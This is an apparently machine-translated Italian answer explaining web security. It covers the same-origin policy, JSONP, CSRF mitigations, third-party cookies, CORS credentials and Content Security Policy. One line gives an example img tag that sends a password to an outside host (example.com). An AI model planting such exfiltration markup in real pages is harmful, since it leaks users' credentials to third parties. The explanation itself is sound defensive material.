Non esiste "la stessa regola del dominio". XHR può POST o GET ad altri domini - è solo che la risposta non può essere letta dall'origine richiedente.
JSONP non ignora la stessa politica di origine. Il SOP dice semplicemente quanto sopra - richiede può essere fatto ad altre origini, solo che le loro risposte non possono essere lette. JSONP non richiede la lettura della risposta: include semplicemente il codice di un altro dominio da eseguire nel contesto del dominio corrente. Il codice non può essere letto, solo eseguito nel browser.
Le richieste che possono causare "effetti collaterali" dovrebbero essere fatte solo come POST. La limitazione degli XHR allo stesso dominio nel codice lato server può impedire l'esecuzione di azioni JSON POST diverse dal dominio del sito in cui ci si trova, il che può mitigare CSRF . Affinché ciò sia efficace, è necessario che ci siano controlli lato server di Origin
intestazione o personalizzata come X-Requested-With
come intestazioni personalizzate non possono essere inviate cross domain senza CORS . Questo perché sebbene la lettura della risposta sia protetta dalla stessa politica di origine , non esiste alcuna restrizione dell'attuale croce -dominio richiesta POST da essere fatto in primo luogo.
Con la maggior parte dei browser moderni è possibile disabilitare i cookie di terze parti . Ciò impedirà gli attacchi CSRF effettuati tramite AJAX, presupponendo che il browser non invii cookie precedentemente impostati per tali domini. Chrome sembra bloccare completamente i cookie di terze parti se l'impostazione è abilitata - i cookie non verranno accettati o inviati se il dominio è di terzi, alcuni browser potrebbero comunque inviare i cookie se erano stati precedentemente accettati come cookie di prima parte.
Non sarà di aiuto nel tuo esempio in cui il sito compromesso può inviare dati a un altro sito utilizzando <img src="//example.com/?password=1234" />
, tuttavia un La politica di sicurezza dei contenuti può essere implementata se desideri questo comportamento in quanto le origini esterne possono essere bloccate a livello di browser.
C'è un supporto all'interno di CORS per sapere se i cookie sono accettati su più domini ( Access-Control-Allow-Credentials
). Questo copre anche altri metodi di autenticazione, piuttosto che solo i cookie. Anche in questo caso, ciò influisce solo sul fatto che il dominio richiedente possa leggere la risposta, non sul fatto che possa essere effettuata in primo luogo.